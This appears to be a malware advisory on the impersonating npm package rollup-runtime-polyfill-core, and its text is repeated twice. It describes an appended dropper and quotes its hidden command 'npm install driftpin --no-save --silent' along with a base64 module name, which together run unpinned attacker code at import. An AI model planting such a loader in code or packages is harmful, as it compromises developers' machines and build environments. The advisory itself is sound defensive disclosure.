Malicious code in rollup-runtime-polyfill-core (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (90dc8536f81ef2ffbd391877bbe1eefbefc900081ef6eaa9848548177c233167) Package name mimics the legitimate `rollup-plugin-polyfill-node` and copies its source (the repository field in package.json points to FredKSchott/rollup-plugin-polyfill-node). Appended to dist/index.js is a top-level dropper that runs on every `require()`/`import` of the package. The dropper decodes base64-encoded strings to assemble the command `npm install driftpin --no-save --silent --no-audit --no-fund`, spawns it with `stdio: 'ignore'` and `windowsHide: true` to suppress output, then on process close performs `require('driftpin')` and invokes `getPlugin()()`. The target module name `driftpin` is also stored as a base64 literal (`ZHJpZnRwaW4=`). `driftpin` is not declared in this package's dependencies and is not shipped in the tarball — its content is attacker-controlled and unpinned, so arbitrary code from a separate npm package executes inside the installer's Node process whenever this module is loaded. The combination of name impersonation of a legitimate polyfill, base64 obfuscation of the command and target name, hidden execution flags, and out-of-tree installation of an unrelated package is an unambiguous install/import-time RCE dropper.
AI Analysis
Technical Summary
The 'rollup-runtime-polyfill-core' npm package mimics the legitimate 'rollup-plugin-polyfill-node' by copying its source and using a similar repository field. It appends a top-level dropper in its main file that runs on every require/import. This dropper decodes base64 strings to construct and silently execute the command 'npm install driftpin --no-save --silent --no-audit --no-fund', then requires the 'driftpin' module and invokes a function from it. The 'driftpin' package is not declared as a dependency and is attacker-controlled, allowing arbitrary code execution within the installer's Node.js process. The use of base64 obfuscation, hidden execution flags, and out-of-tree installation clearly indicates an install/import-time remote code execution (RCE) backdoor.
Potential Impact
Loading or importing the affected versions of 'rollup-runtime-polyfill-core' results in execution of attacker-controlled code via the unpinned 'driftpin' package. This leads to remote code execution in the context of the Node.js process running the package, potentially compromising the host system or build environment.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should avoid installing or using the 'rollup-runtime-polyfill-core' package in any of the affected versions (=0.13.7, =0.13.8, =0.13.9, =0.14.0). Verify package authenticity before installation and prefer the legitimate 'rollup-plugin-polyfill-node' package. Monitor for updates from the package repository or vendor advisory for any official fixes or guidance.
Malicious code in rollup-runtime-polyfill-core (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (90dc8536f81ef2ffbd391877bbe1eefbefc900081ef6eaa9848548177c233167) Package name mimics the legitimate `rollup-plugin-polyfill-node` and copies its source (the repository field in package.json points to FredKSchott/rollup-plugin-polyfill-node). Appended to dist/index.js is a top-level dropper that runs on every `require()`/`import` of the package. The dropper decodes base64-encoded strings to assemble the command `npm install driftpin --no-save --silent --no-audit --no-fund`, spawns it with `stdio: 'ignore'` and `windowsHide: true` to suppress output, then on process close performs `require('driftpin')` and invokes `getPlugin()()`. The target module name `driftpin` is also stored as a base64 literal (`ZHJpZnRwaW4=`). `driftpin` is not declared in this package's dependencies and is not shipped in the tarball — its content is attacker-controlled and unpinned, so arbitrary code from a separate npm package executes inside the installer's Node process whenever this module is loaded. The combination of name impersonation of a legitimate polyfill, base64 obfuscation of the command and target name, hidden execution flags, and out-of-tree installation of an unrelated package is an unambiguous install/import-time RCE dropper.
Affected software
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AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'rollup-runtime-polyfill-core' npm package mimics the legitimate 'rollup-plugin-polyfill-node' by copying its source and using a similar repository field. It appends a top-level dropper in its main file that runs on every require/import. This dropper decodes base64 strings to construct and silently execute the command 'npm install driftpin --no-save --silent --no-audit --no-fund', then requires the 'driftpin' module and invokes a function from it. The 'driftpin' package is not declared as a dependency and is attacker-controlled, allowing arbitrary code execution within the installer's Node.js process. The use of base64 obfuscation, hidden execution flags, and out-of-tree installation clearly indicates an install/import-time remote code execution (RCE) backdoor.
Potential Impact
Loading or importing the affected versions of 'rollup-runtime-polyfill-core' results in execution of attacker-controlled code via the unpinned 'driftpin' package. This leads to remote code execution in the context of the Node.js process running the package, potentially compromising the host system or build environment.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should avoid installing or using the 'rollup-runtime-polyfill-core' package in any of the affected versions (=0.13.7, =0.13.8, =0.13.9, =0.14.0). Verify package authenticity before installation and prefer the legitimate 'rollup-plugin-polyfill-node' package. Monitor for updates from the package repository or vendor advisory for any official fixes or guidance.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6372
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a520ecb68715ace438f62e4
Added to database: 07/11/2026, 09:37:15 UTC
Last enriched: 07/11/2026, 09:57:59 UTC
Last updated: 07/30/2026, 18:37:16 UTC
Views: 20
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